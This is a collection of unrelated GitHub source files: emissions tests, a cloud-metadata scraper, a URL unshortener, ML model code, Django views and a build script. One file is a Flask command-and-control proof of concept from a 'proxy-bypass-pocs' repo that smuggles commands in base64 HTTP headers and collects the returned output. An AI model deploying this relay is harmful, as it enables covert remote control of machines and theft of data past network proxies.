v20.12.22\n@pytest.mark.django_db\n@pytest.mark.parametrize(\n    'helicopter_name,expected',\n    (\n        # 'Calculation'!I98\n        (\"Sikorsky S-92\", 0.16460880000000003),\n        # 'Calculation'!I99\n        (\"Super Puma\", 0.37974299999999994),\n    ),\n)\ndef test_calculate_helicopter_nox(\n    helicopter_name: str,\n    expected: str,\n):\n    assert (\n        calculate_helicopter_nox(\n            roundtrip_minutes=HELICOPTERS[helicopter_name]['roundtrip_minutes'],\n            roundtrip_count=HELICOPTERS[helicopter_name]['roundtrip_count'],\n            fuel_consumption=HELICOPTERS[helicopter_name]['fuel_consumption'],\n            exposure=HELICOPTERS[helicopter_name]['exposure'],\n            fuel_density=HELICOPTERS[helicopter_name]['fuel_density'],\n            nox_per_fuel=HELICOPTERS[helicopter_name]['nox_per_fuel'],\n        )\n        == expected\n    )\n\n\n# v20.12.22\n@pytest.mark.django_db\ndef test_calculate_step_helicopters_fuel(\n    helicopter_uses: QuerySet[HELICOPTERS],\n):\n    assert (\n        calculate_step_helicopters_fuel(\n            helicopter_uses=helicopter_uses,\n            # 'Well Planning'!J54\n            step_duration=9.56,\n            # 'Well Planning'!G68\n            plan_duration=18.58,\n        )\n        # 'Calculation'!F107\n        == 6.544072120559742\n    )\n\n\n# v20.12.22\n@pytest.mark.django_db\ndef test_calculate_step_helicopters_co2(\n    helicopter_uses: QuerySet[HELICOPTERS],\n):\n    assert (\n        calculate_step_helicopters_co2(\n            helicopter_uses=helicopter_uses,\n            # 'Well Planning'!J54\n            step_duration=9.56,\n            # 'Well Planning'!G68\n            plan_duration=18.58,\n        )\n        # 'Calculation'!H107\n        == 20.613827179763184\n    )\n\n\n# v20.12.22\n@pytest.mark.django_db\ndef test_calculate_step_helicopters_nox(\n    helicopter_uses: QuerySet[HELICOPTERS],\n):\n    assert (\n        calculate_step_helicopters_nox(\n            helicopter_uses=helicopter_uses,\n            # 'Well Planning'!J54\n            step_duration=9.56,\n            # 'Well Planning'!G68\n            plan_duration=18.58,\n        )\n        # 'Calculation'!I107\n        == 0.280086286759957\n    )\n","repo_name":"reactsuperwizard/Stepwise-React-Typescript-Storybook","sub_path":"api/apps/emissions/tests/services/calculator/test_helicopters.py","file_name":"test_helicopters.py","file_ext":"py","file_size_in_byte":5716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"4768730354","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom metascrape.spiders import EC2Spider\nfrom metascrape.utils import LoggingFormatter\n\nfrom scrapy.crawler import CrawlerProcess\n\nimport argparse\nimport logging\nimport scrapy\n\n\ndef main():\n    parser = argparse.ArgumentParser(\n        prog='metascrape',\n        description=\"A scraper in Python/Scrapy for extracting cloud provider instance metadata.\",\n    )\n\n    parser.add_argument('-H', '--host', default='169.254.169.254',\n        help=\"The host where the instance metadata service lives.\")\n    parser.add_argument('-o', '--output', default=\"metadata.json\",\n        help=\"The output file to store scraped information in.\")\n    parser.add_argument('-p', '--port', default=80, type=int,\n        help=\"The port where the instance metadata service is listening.\")\n    parser.add_argument('-v', action='count', dest='verbosity', default=0,\n        help=\"Set logging verbosity. Pass multiple times to increase verbosity.\")\n\n    args = parser.parse_args()\n\n    # setup logging\n    setup_logging(args.verbosity)\n\n    logger = logging.getLogger(\"metascrape\")\n    logger.info(\"Starting scraper...\")\n\n    scrape(args.host, args.port, args.output)\n\n\ndef setup_logging(verbosity):\n    \"\"\"Setup and configure Python logging.\"\"\"\n    logging.addLevelName(logging.WARNING, \"WARN\")\n\n    console = logging.StreamHandler()\n    console.setFormatter(LoggingFormatter(\n        fmt=\"%(asctime)s [%(levelname)-5s] %(name)s: %(message)s\",\n    ))\n\n    logging.getLogger(None).setLevel(logging.WARNING)\n    logging.getLogger(None).addHandler(console)\n\n    logging.getLogger('metascrape').setLevel(max(logging.WARNING - (verbosity * 10), 0))\n\n\ndef scrape(host, port, output_file):\n    \"\"\"Execute the scraper on the given host and port.\"\"\"\n    process = CrawlerProcess({\n        'BOT_NAME': 'metascrape',\n        'CONCURRENT_REQUESTS_PER_DOMAIN': 10,\n        'ITEM_PIPELINES': {\n            'metascrape.pipelines.JSONItemPipeline': 1000\n        },\n        'JSON_OUTPUT_FILE': output_file,\n        'LOG_ENABLED': False,\n    })\n\n    process.crawl(EC2Spider, metadata_host=host, metadata_port=port)\n    process.start()\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"naftulikay/metascrape","sub_path":"src/metascrape/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":2179,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"72596103762","text":"import cv2\n\nfrom taggridscanner.aux.utils import Functor\n\n\nclass Upscale(Functor):\n    def __init__(self, factor):\n        super().__init__()\n        self.factor = factor\n\n    def __call__(self, image):\n        return cv2.resize(\n            image,\n            (image.shape[0] * self.factor, image.shape[1] * self.factor),\n            interpolation=cv2.INTER_NEAREST_EXACT,\n        )\n","repo_name":"IMAGINARY/tag-grid-scanner","sub_path":"taggridscanner/pipeline/upscale.py","file_name":"upscale.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"6411403134","text":"import re\nimport copy\nimport time\nimport json\nimport requests\n\nfrom unshortenit.module import UnshortenModule\nfrom unshortenit.exceptions import UnshortenFailed\n\n\nclass ShorteSt(UnshortenModule):\n\n    name = 'shortest'\n    domains = ['sh.st', 'festyy.com', 'ceesty.com']\n\n    def __init__(self, headers: dict = None, timeout: int = 30):\n        super().__init__(headers, timeout)\n\n    def unshorten(self, uri: str) -> str:\n        res = self.get(uri)\n\n        session_id = re.findall(r'sessionId\\:(.*?)\\\"\\,', res.text)\n        if len(session_id) == 0:\n            raise UnshortenFailed('No sessionId variable found.')\n\n        if len(session_id) > 0:\n            session_id = re.sub(r'\\s\\\"', '', session_id[0])\n\n            http_header = copy.copy(self.headers or {})\n            http_header[\"Content-Type\"] = \"application/x-www-form-urlencoded\"\n            http_header[\"Host\"] = \"sh.st\"\n            http_header[\"Referer\"] = uri\n            http_header[\"Origin\"] = \"http://sh.st\"\n            http_header[\"X-Requested-With\"] = \"XMLHttpRequest\"\n\n            time.sleep(5)\n\n            payload = {'adSessionId': session_id, 'callback': 'c'}\n            r = requests.get(\n                'http://sh.st/shortest-url/end-adsession',\n                params=payload,\n                headers=http_header,\n                timeout=self.timeout\n            )\n            response = r.content[6:-2].decode('utf-8')\n\n            if r.status_code == 200:\n                resp_uri = json.loads(response)['destinationUrl']\n                if resp_uri is not None:\n                    uri = resp_uri\n                else:\n                    raise UnshortenFailed('Error extracting url.')\n            else:\n                raise UnshortenFailed('Error extracting url.')\n\n        return uri\n","repo_name":"jkehler/unshortenit","sub_path":"unshortenit/modules/shortest.py","file_name":"shortest.py","file_ext":"py","file_size_in_byte":1772,"program_lang":"python","lang":"en","doc_type":"code","stars":61,"dataset":"github-code","pt":"3"}
+{"seq_id":"20080076014","text":"import copy\nimport os\nimport shutil\nimport tempfile\nimport unittest\n\nimport torch\nimport torch.nn as nn\nfrom classy_vision.generic.util import load_checkpoint\nfrom classy_vision.heads import FullyConnectedHead, IdentityHead\nfrom classy_vision.hooks import CheckpointHook\nfrom classy_vision.models import (\n    build_model,\n    ClassyModel,\n    ClassyModelWrapper,\n    register_model,\n)\nfrom classy_vision.models.classy_model import _ClassyModelAdapter\nfrom classy_vision.tasks import build_task\nfrom classy_vision.trainer import LocalTrainer\nfrom test.generic.config_utils import get_fast_test_task_config, get_test_task_config\nfrom torchvision import models\n\n\n@register_model(\"my_test_model\")\nclass MyTestModel(ClassyModel):\n    def __init__(self):\n        super().__init__()\n        self.linear = nn.Linear(10, 5)\n        self.linear2 = nn.Linear(5, 10)\n\n    def forward(self, x):\n        return self.linear2(self.linear(x))\n\n    @classmethod\n    def from_config(cls, config):\n        return cls()\n\n\nclass MyTestModel2(ClassyModel):\n    def forward(self, x):\n        return x + 1\n\n    # need to define these properties to make the model torchscriptable\n    @property\n    def input_shape(self):\n        return (1, 2, 3)\n\n\nclass TestSimpleClassyModelWrapper(ClassyModelWrapper):\n    def forward(self, x):\n        return self.classy_model(x) * 2\n\n\nclass TestClassyModel(unittest.TestCase):\n    def setUp(self) -> None:\n        self.base_dir = tempfile.mkdtemp()\n        self.orig_wrapper_cls_1 = MyTestModel.wrapper_cls\n        self.orig_wrapper_cls_2 = MyTestModel2.wrapper_cls\n\n    def tearDown(self) -> None:\n        shutil.rmtree(self.base_dir)\n        MyTestModel.wrapper_cls = self.orig_wrapper_cls_1\n        MyTestModel2.wrapper_cls = self.orig_wrapper_cls_2\n\n    def get_model_config(self, use_head):\n        config = {\"name\": \"my_test_model\"}\n        if use_head:\n            config[\"heads\"] = [\n                {\n                    \"name\": \"fully_connected\",\n                    \"unique_id\": \"default_head\",\n                    \"num_classes\": 3,\n                    \"fork_block\": \"linear\",\n                    \"in_plane\": 5,\n                }\n            ]\n        return config\n\n    def test_model_bad_name(self):\n        config = self.get_model_config(use_head=True)\n        test_bad_name = \"__test_bad_name__\"\n        config[\"name\"] = test_bad_name\n\n        try:\n            _ = build_model(config)\n        except AssertionError as e:\n            self.assertTrue(\n                test_bad_name in str(e),\n                f\"expected {test_bad_name} in error message, got {str(e)}\",\n            )\n            return\n        self.assertTrue(False, \"expected an AssertionError to be thrown\")\n\n    def test_from_checkpoint(self):\n        config = get_test_task_config()\n        for use_head in [True, False]:\n            config[\"model\"] = self.get_model_config(use_head)\n            task = build_task(config)\n            task.prepare()\n\n            checkpoint_folder = f\"{self.base_dir}/{use_head}/\"\n            input_args = {\"config\": config}\n\n            # Simulate training by setting the model parameters to zero\n            for param in task.model.parameters():\n                param.data.zero_()\n\n            checkpoint_hook = CheckpointHook(\n                checkpoint_folder, input_args, phase_types=[\"train\"]\n            )\n\n            # Create checkpoint dir, save checkpoint\n            os.mkdir(checkpoint_folder)\n            checkpoint_hook.on_start(task)\n\n            task.train = True\n            checkpoint_hook.on_phase_end(task)\n\n            # Model should be checkpointed. load and compare\n            checkpoint = load_checkpoint(checkpoint_folder)\n\n            model = ClassyModel.from_checkpoint(checkpoint)\n            self.assertTrue(isinstance(model, MyTestModel))\n\n            # All parameters must be zero\n            for param in model.parameters():\n                self.assertTrue(torch.all(param.data == 0))\n\n    def test_classy_model_wrapper_instance(self):\n        # Test that we return a ClassyModel without a wrapper_cls\n        MyTestModel.wrapper_cls = None\n        model = MyTestModel()\n        self.assertEqual(type(model), MyTestModel)\n        self.assertIsInstance(model, MyTestModel)\n        self.assertIsInstance(model, ClassyModel)\n        self.assertIsInstance(model, nn.Module)\n\n        # Test that we return a ClassyModelWrapper when specified as the wrapper_cls\n        # The object should still pass the insinstance check\n        MyTestModel.wrapper_cls = ClassyModelWrapper\n        model = MyTestModel()\n        self.assertEqual(type(model), ClassyModelWrapper)\n        self.assertIsInstance(model, MyTestModel)\n        self.assertIsInstance(model, ClassyModel)\n        self.assertIsInstance(model, nn.Module)\n\n    def test_classy_model_wrapper_torch_scriptable(self):\n        input = torch.ones((2, 2))\n\n        for wrapper_cls, expected_output in [\n            (None, input + 1),\n            # this isn't supported yet\n            # (TestSimpleClassyModelWrapper, (input + 1) * 2),\n        ]:\n            MyTestModel2.wrapper_cls = wrapper_cls\n            model = MyTestModel2()\n            scripted_model = torch.jit.script(model)\n            self.assertTrue(torch.allclose(expected_output, model(input)))\n            self.assertTrue(torch.allclose(expected_output, scripted_model(input)))\n\n    def test_classy_model_wrapper_torch_jittable(self):\n        input = torch.ones((2, 2))\n\n        for wrapper_cls, expected_output in [\n            (None, input + 1),\n            (TestSimpleClassyModelWrapper, (input + 1) * 2),\n        ]:\n            MyTestModel2.wrapper_cls = wrapper_cls\n            model = MyTestModel2()\n            jitted_model = torch.jit.trace(model, input)\n            self.assertTrue(torch.allclose(expected_output, model(input)))\n            self.assertTrue(torch.allclose(expected_output, jitted_model(input)))\n\n    def test_classy_model_wrapper_attr(self):\n        model = MyTestModel2()\n        model.test_attr = 123\n        model_wrapper = ClassyModelWrapper(model)\n        self.assertTrue(hasattr(model_wrapper, \"test_attr\"))\n        self.assertEqual(model_wrapper.test_attr, 123)\n\n        # delete the attr\n        delattr(model_wrapper, \"test_attr\")\n        self.assertFalse(hasattr(model_wrapper, \"test_attr\"))\n        self.assertFalse(hasattr(model, \"test_attr\"))\n\n    def test_classy_model_set_state_strict(self):\n        model_1 = build_model(self.get_model_config(use_head=True))\n        model_state_1 = model_1.get_classy_state(deep_copy=True)\n\n        model_2 = build_model(self.get_model_config(use_head=False))\n        model_2.set_heads({\"linear\": [IdentityHead(\"default_head\")]})\n\n        with self.assertRaises(RuntimeError):\n            model_2.set_classy_state(model_state_1)\n\n        model_2.set_classy_state(model_state_1, strict=False)\n\n\nclass TestModel(nn.Module):\n    def __init__(self):\n        super().__init__()\n        self.linear = nn.Linear(10, 5)\n\n    def forward(self, x):\n        return self.linear(x)\n\n    def extract_features(self, x):\n        return torch.cat([x, x], dim=1)\n\n\nclass TestClassyModelAdapter(unittest.TestCase):\n    def test_classy_model_adapter(self):\n        model = TestModel()\n        classy_model = ClassyModel.from_model(model)\n        # test that the returned object is an instance of ClassyModel\n        self.assertIsInstance(classy_model, ClassyModel)\n        # test that the returned object is also an instance of _ClassyModelAdapter\n        self.assertIsInstance(classy_model, _ClassyModelAdapter)\n\n        # test that forward works correctly\n        input = torch.zeros((100, 10))\n        output = classy_model(input)\n        self.assertEqual(output.shape, (100, 5))\n\n        # test that extract_features works correctly\n        input = torch.zeros((100, 10))\n        output = classy_model.extract_features(input)\n        self.assertEqual(output.shape, (100, 20))\n\n        # test that get_classy_state and set_classy_state work\n        nn.init.constant_(classy_model.model.linear.weight, 1)\n        weights = copy.deepcopy(classy_model.model.linear.weight.data)\n        state_dict = classy_model.get_classy_state(deep_copy=True)\n        nn.init.constant_(classy_model.model.linear.weight, 0)\n        classy_model.set_classy_state(state_dict)\n        self.assertTrue(torch.allclose(weights, classy_model.model.linear.weight.data))\n\n    def test_classy_model_adapter_properties(self):\n        # test that the properties work correctly when passed to the adapter\n        model = TestModel()\n        input_shape = (10,)\n        model_depth = 1\n        classy_model = ClassyModel.from_model(\n            model, input_shape=input_shape, model_depth=model_depth\n        )\n        self.assertEqual(classy_model.input_shape, input_shape)\n\n    def test_train_step(self):\n        # test that the model can be run in a train step\n        model = models.resnet34(pretrained=False)\n        classy_model = ClassyModel.from_model(model)\n\n        config = get_fast_test_task_config()\n        task = build_task(config)\n        task.set_model(classy_model)\n        trainer = LocalTrainer()\n        trainer.train(task)\n\n    def test_heads(self):\n        model = models.resnet50(pretrained=False)\n        classy_model = ClassyModel.from_model(model)\n        num_classes = 5\n        head = FullyConnectedHead(\n            unique_id=\"default\", in_plane=2048, num_classes=num_classes\n        )\n        classy_model.set_heads({\"layer4\": [head]})\n        input = torch.ones((1, 3, 224, 224))\n        self.assertEqual(classy_model(input).shape, (1, num_classes))\n","repo_name":"facebookresearch/ClassyVision","sub_path":"test/models_classy_model_test.py","file_name":"models_classy_model_test.py","file_ext":"py","file_size_in_byte":9579,"program_lang":"python","lang":"en","doc_type":"code","stars":1563,"dataset":"github-code","pt":"3"}
+{"seq_id":"38202845330","text":"\n#!/usr/bin/env python\n\nfrom base64 import b64encode, b64decode\nfrom flask import Flask, Response, request\n\nAPP = Flask(__name__)\n\n\n@APP.route('/')\ndef poc():\n    action = request.args.get('action')\n    data = request.args.get('data')\n\n    if action == 'execute_command':\n        with open('commands.txt', 'r') as _file:\n            commands = _file.read()\n        response = Response(response='OK', status=204, mimetype='text/plain')\n        response.headers['Content-Type'] = b64encode(commands)\n        open('commands.txt', 'w').close()  # NOTE: Empty the file contents.\n\n    elif action == 'send_output':\n        with open('results.txt', 'a') as _file:\n            _file.write(\"{0}\".format(b64decode(data)))\n        response = Response(response='OK', status=201, mimetype='text/plain')\n\n    else:\n        response = Response(response='OK', status=200, mimetype='text/plain')\n\n    return response\n\n\nAPP.run(host='0.0.0.0', threaded=True)\n","repo_name":"paulcalabro/proxy-bypass-pocs","sub_path":"mxtoolbox.com/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":941,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"30514545502","text":"from copy import deepcopy\nfrom typing import Optional\n\nimport torch\nimport torch.nn as nn\nfrom torch.utils import checkpoint as cp\n\nfrom mmaction.registry import MODELS\nfrom ..common import TAM\nfrom .resnet import Bottleneck, ResNet\n\n\nclass TABlock(nn.Module):\n    \"\"\"Temporal Adaptive Block (TA-Block) for TANet.\n\n    This block is proposed in `TAM: TEMPORAL ADAPTIVE MODULE FOR VIDEO\n    RECOGNITION <https://arxiv.org/pdf/2005.06803>`_\n\n    The temporal adaptive module (TAM) is embedded into ResNet-Block\n    after the first Conv2D, which turns the vanilla ResNet-Block\n    into TA-Block.\n\n    Args:\n        block (nn.Module): Residual blocks to be substituted.\n        num_segments (int): Number of frame segments.\n        tam_cfg (dict): Config for temporal adaptive module (TAM).\n    \"\"\"\n\n    def __init__(self, block: nn.Module, num_segments: int,\n                 tam_cfg: dict) -> None:\n        super().__init__()\n        self.tam_cfg = deepcopy(tam_cfg)\n        self.block = block\n        self.num_segments = num_segments\n        self.tam = TAM(\n            in_channels=block.conv1.out_channels,\n            num_segments=num_segments,\n            **self.tam_cfg)\n\n        if not isinstance(self.block, Bottleneck):\n            raise NotImplementedError('TA-Blocks have not been fully '\n                                      'implemented except the pattern based '\n                                      'on Bottleneck block.')\n\n    def forward(self, x: torch.Tensor) -> torch.Tensor:\n        \"\"\"Defines the computation performed at every call.\"\"\"\n        assert isinstance(self.block, Bottleneck)\n\n        def _inner_forward(x):\n            \"\"\"Forward wrapper for utilizing checkpoint.\"\"\"\n            identity = x\n\n            out = self.block.conv1(x)\n            out = self.tam(out)\n            out = self.block.conv2(out)\n            out = self.block.conv3(out)\n\n            if self.block.downsample is not None:\n                identity = self.block.downsample(x)\n\n            out = out + identity\n\n            return out\n\n        if self.block.with_cp and x.requires_grad:\n            out = cp.checkpoint(_inner_forward, x)\n        else:\n            out = _inner_forward(x)\n\n        out = self.block.relu(out)\n\n        return out\n\n\n@MODELS.register_module()\nclass TANet(ResNet):\n    \"\"\"Temporal Adaptive Network (TANet) backbone.\n\n    This backbone is proposed in `TAM: TEMPORAL ADAPTIVE MODULE FOR VIDEO\n    RECOGNITION <https://arxiv.org/pdf/2005.06803>`_\n\n    Embedding the temporal adaptive module (TAM) into ResNet to\n    instantiate TANet.\n\n    Args:\n        depth (int): Depth of resnet, from ``{18, 34, 50, 101, 152}``.\n        num_segments (int): Number of frame segments.\n        tam_cfg (dict, optional): Config for temporal adaptive module (TAM).\n            Defaults to None.\n    \"\"\"\n\n    def __init__(self,\n                 depth: int,\n                 num_segments: int,\n                 tam_cfg: Optional[dict] = None,\n                 **kwargs) -> None:\n        super().__init__(depth, **kwargs)\n        assert num_segments >= 3\n        self.num_segments = num_segments\n        tam_cfg = dict() if tam_cfg is None else tam_cfg\n        self.tam_cfg = deepcopy(tam_cfg)\n        super().init_weights()\n        self.make_tam_modeling()\n\n    def init_weights(self):\n        \"\"\"Initialize weights.\"\"\"\n        pass\n\n    def make_tam_modeling(self):\n        \"\"\"Replace ResNet-Block with TA-Block.\"\"\"\n\n        def make_tam_block(stage, num_segments, tam_cfg=dict()):\n            blocks = list(stage.children())\n            for i, block in enumerate(blocks):\n                blocks[i] = TABlock(block, num_segments, deepcopy(tam_cfg))\n            return nn.Sequential(*blocks)\n\n        for i in range(self.num_stages):\n            layer_name = f'layer{i + 1}'\n            res_layer = getattr(self, layer_name)\n            setattr(self, layer_name,\n                    make_tam_block(res_layer, self.num_segments, self.tam_cfg))\n","repo_name":"open-mmlab/mmaction2","sub_path":"mmaction/models/backbones/tanet.py","file_name":"tanet.py","file_ext":"py","file_size_in_byte":3950,"program_lang":"python","lang":"en","doc_type":"code","stars":3560,"dataset":"github-code","pt":"3"}
+{"seq_id":"31118041697","text":"import pandas as pa\r\nimport numpy as np\r\ndata_train= pa.read_csv(r'C:\\Users\\vicky\\Desktop\\train_filled data.csv')\r\n\r\n#Adding new feature\r\ndata_train.insert(8, 'Total_Income',(data_train['ApplicantIncome']+data_train['CoapplicantIncome']))\r\n\r\n# fill blank fields \r\ndata_train['Dependents'].fillna(data_train['Dependents'].mode()[0], inplace=True)\r\ndata_train['Loan_Amount_Term'].fillna(data_train['Loan_Amount_Term'].mode()[0], inplace=True)\r\ndata_train['Credit_History'].fillna(data_train['Credit_History'].mode()[0], inplace=True)\r\n\r\n#Drop unwanted tables\r\ndata_train.drop(labels = 'Loan_ID', axis = 1, inplace = True)\r\ndata_train.drop(labels = 'ApplicantIncome', axis = 1, inplace = True)\r\ndata_train.drop(labels = 'CoapplicantIncome', axis = 1, inplace = True)\r\n\r\ndata_train['LoanAmount_log'] = np.log(data_train['LoanAmount'])\r\ndata_train['TotalIncome_log'] = np.log(data_train['Total_Income'])\r\n\r\n#Import models from scikit learn module:\r\nfrom sklearn.linear_model import LogisticRegression\r\nfrom sklearn.model_selection import KFold   #For K-fold cross validation\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nfrom sklearn.tree import DecisionTreeClassifier, export_graphviz\r\nfrom sklearn import metrics\r\n\r\n#Generic function for making a classification model and accessing performance:\r\ndef classification_model(model, data, predictors, outcome):\r\n  #Fit the model:\r\n  model.fit(data[predictors],data[outcome])\r\n  \r\n  #Make predictions on training set:\r\n  predictions = model.predict(data[predictors])\r\n  \r\n  #Print accuracy\r\n  accuracy = metrics.accuracy_score(predictions,data[outcome])\r\n  print (\"Accuracy : %s\" % \"{0:.3%}\".format(accuracy))\r\n\r\n  #Perform k-fold cross-validation with 5 folds\r\n  #kf = KFold(data.shape[0], n_splits=5)\r\n  kf=KFold(n_splits=5, random_state=None, shuffle=False)\r\n  error = []\r\n  for train, test in kf.split(data):\r\n    # Filter training data\r\n    train_predictors = (data[predictors].iloc[train,:])\r\n    \r\n    # The target we're using to train the algorithm.\r\n    train_target = data[outcome].iloc[train]\r\n    \r\n    # Training the algorithm using the predictors and target.\r\n    model.fit(train_predictors, train_target)\r\n    \r\n    #Record error from each cross-validation run\r\n    error.append(model.score(data[predictors].iloc[test,:], data[outcome].iloc[test]))\r\n \r\n  print (\"Cross-Validation Score : %s\" % \"{0:.3%}\".format(np.mean(error)))\r\n\r\n  #Fit the model again so that it can be refered outside the function:\r\n  model.fit(data[predictors],data[outcome])\r\n\r\noutcome_var = 'Loan_Status'\r\nmodel = LogisticRegression()\r\npredictor_var = ['TotalIncome_log','LoanAmount_log','Credit_History',]\r\nclassification_model(model, data_train,predictor_var,outcome_var)\r\n\r\nfrom sklearn.externals import joblib\r\njoblib.dump(model, 'model.pkl')\r\nprint(\"Model dumped!\")\r\n\r\n# Load the model that you just saved\r\nmodel = joblib.load('model.pkl')\r\n\r\n#model_columns = list(data_train.columns)\r\n#joblib.dump(model_columns, 'model_columns.pkl')\r\n#print(\"Models columns dumped!\")\r\n\r\n\r\n\r\n","repo_name":"vickytr44/Loan-approval-prection","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3018,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"}
+{"seq_id":"33472122567","text":"# Definition for a binary tree node.\n# class TreeNode:\n#     def __init__(self, val=0, left=None, right=None):\n#         self.val = val\n#         self.left = left\n#         self.right = right\n\n\n#Сложность алгоритма равна o(n*m)\n\nclass Solution:\n    def averageOfLevels(self, root: Optional[TreeNode]) -> List[float]:\n   \n        if not root:\n            return 0\n        q = [root]\n        result = [root.val]\n\n        while q:\n            size = len(q)\n            lst = []\n            while size:\n                front = q.pop(0)\n                size-=1\n\n                if front.left:\n                    q.append(front.left)\n                    lst+=[front.left.val]\n                if front.right:\n                    q.append(front.right)\n                    lst+=[front.right.val]\n            if lst:\n                avg = sum(lst)/len(lst)\n                result.append(avg)\n\n        return result","repo_name":"Wayrone1/python_sirius","sub_path":"ALG_DZ/3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"28180150127","text":"from django.shortcuts import render\nfrom django.http import HttpResponseRedirect\nfrom django.urls import reverse\nfrom django.contrib.auth import logout, login, authenticate\nfrom django.contrib.auth.forms import UserCreationForm\n\n\ndef logout_view(request):\n    \"\"\"Faz logout\"\"\"\n    logout(request)\n    return HttpResponseRedirect(reverse('learning_logs:index'))\n\n\ndef register(request):\n    \"\"\"Faz o cadastro de um novo usuário\"\"\"\n    if request.method != 'POST':\n        # Exibe o formulario de cadastro em branco\n        form = UserCreationForm()\n    else:\n        # Processa o formulario ja preenchido\n        form = UserCreationForm(data=request.POST)\n\n        if form.is_valid():\n            new_user = form.save()\n            # Faz login do usuario e o redireciona para a pagina inicial\n            authenticated_user = authenticate(username=new_user.username, password=request.POST['password1'])\n            login(request, authenticated_user)\n            return HttpResponseRedirect(reverse('learning_logs:index'))\n\n    context = {'form': form}\n    return render(request, 'users/register.html', context)\n\n\n\n","repo_name":"lucasgbsampaio/django-learninglog","sub_path":"users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1114,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"30533472504","text":"from __future__ import print_function\nimport argparse, json, os, platform, shutil, subprocess, sys\n\n_version = sys.version_info.major\n\nif _version == 2: # Python 2.x:\n    _input = raw_input\nelif _version == 3: # Python 3.x:\n    _input = input\nelse:\n    raise Exception(\"Incompatible Python version\")\n\nmfcfd_build_dir = os.path.join(os.getcwd(), \"build\")\nmfcfd_parent_dir = os.path.dirname(os.getcwd())\nmfcfd_working_dir = os.getcwd()\n\ndef cleanup_build_directory():\n    if os.path.isdir(\"build\"):\n        try:\n            print(\"Cleaning build directory\")\n            shutil.rmtree(\"build\")\n            os.mkdir(\"build\")\n        except:\n            raise Exception(\"Unable to clean build directory\")\n            sys.exit(1)\n    else:\n        os.mkdir(\"build\")\n\ndef remove_pre_existing_executable():\n    if os.path.isfile(\"execname\"):\n        try:\n            os.remove(\"execname\")\n        except:\n            raise Exception(\"Unable to remove pre existing executables\")\n            sys.exit(1)\n\ndef build(mfcfd_type=None, extra_flags=[], dest_path=None, cmake_extra_flags=[]):\n\n    if mfcfd_type == \"primal\":\n        mfcfd_var = \"PRIMAL\"\n    elif mfcfd_type == \"tangent\":\n        mfcfd_var = \"TANGENT\"\n    elif mfcfd_type == \"adjoint\":\n        mfcfd_var = \"ADJOINT\"\n    elif mfcfd_type == \"cuda\":\n        mfcfd_var = \"CUDA\"\n    else:\n        mfcfd_var = \"PRIMAL\"\n        \n    try:\n        subprocess.check_call([\"cmake\", mfcfd_parent_dir, \"-DMFCFD={}\".format(mfcfd_var)] + cmake_extra_flags, cwd=mfcfd_build_dir)\n    except subprocess.CalledProcessError:\n        print(\"CMAKE failed\")\n        sys.exit(1)\n    try:\n        subprocess.check_call([\"make\"] + extra_flags, cwd=mfcfd_build_dir)\n    except:\n        print(\"MAKE failed\")\n        sys.exit(1)\n    if dest_path == None:\n        shutil.move(os.path.join(mfcfd_build_dir, \"execname\"), mfcfd_working_dir)\n    else:\n        if os.path.isdir(dest_path):\n            shutil.move(os.path.join(mfcfd_build_dir, \"execname\"), dest_path)\n        else:\n            print(\"Invalid Destination Path\")\n            sys.exit(1)\n    print(\"MFCFD has been built and a 'execname' file has been generated in the current working directory.\")\n\ndef install(mfcfd_type=None, extra_flags=[], dest_path=None, cmake_extra_flags=[]):\n    print(\"Building {} Meshfree Solver.\".format(mfcfd_type))\n    cleanup_build_directory()\n    remove_pre_existing_executable()\n\n    if os.path.isfile(os.path.join(mfcfd_parent_dir, \"CMakeLists.txt\")):\n        fline=open(os.path.join(mfcfd_parent_dir, \"CMakeLists.txt\")).readline().rstrip()\n        if fline == \"#MFCFD CMAKE SCRIPT\":\n            print(\"Verified cmake script.\")\n            try:\n                subprocess.check_output([\"cmake\", \"--version\"])\n            except OSError:\n                print(\"Error: CMake is not installed or otherwise not executable. Please check\")\n                print(\"your CMake installation and try again.\")\n                print(\"Attempted to execute: {}\".format(\"cmake\"))\n                sys.exit(1)\n            build(mfcfd_type, extra_flags, dest_path, cmake_extra_flags)\n        else:\n            raise Exception(\"Invalid CMakeLists.txt found.\")\n            sys.exit(1)\n    else:\n        raise Exception(\"Unable to find CMakeLists.txt. Are you running the script from the correct directory?\")\n        sys.exit(1)\n    \n\ndef driver():\n    parser = argparse.ArgumentParser(\n        description=\"Compile and Install Meshfree Solver.\")\n    parser.add_argument(\n        \"--mfcfd\", dest=\"mfcfd_type\", required=True,\n        choices=[\"cuda\", \"primal\", \"tangent\", \"adjoint\"], default=\"primal\",\n        help=\"Meshfree Solver to install.\")\n    parser.add_argument(\n        \"--extra\", dest=\"extra_flags\", action=\"append\", required=False,\n        default=[],\n        help=\"Extra flags for make command.\")\n    parser.add_argument(\n        \"--cextra\", dest=\"cmake_extra_flags\", action=\"append\", required=False,\n        default=[],\n        help=\"Extra flags for cmake command.\")\n    parser.add_argument(\n        \"--destination\", dest=\"dest_path\", required=False,\n        default=None,\n        help=\"Destination Path for saving execname.\")\n    args = parser.parse_args()\n\n    install(**vars(args))\n\nif __name__ == \"__main__\":\n    driver()","repo_name":"Nischay-Pro/mfcfd","sub_path":"install/install.py","file_name":"install.py","file_ext":"py","file_size_in_byte":4226,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
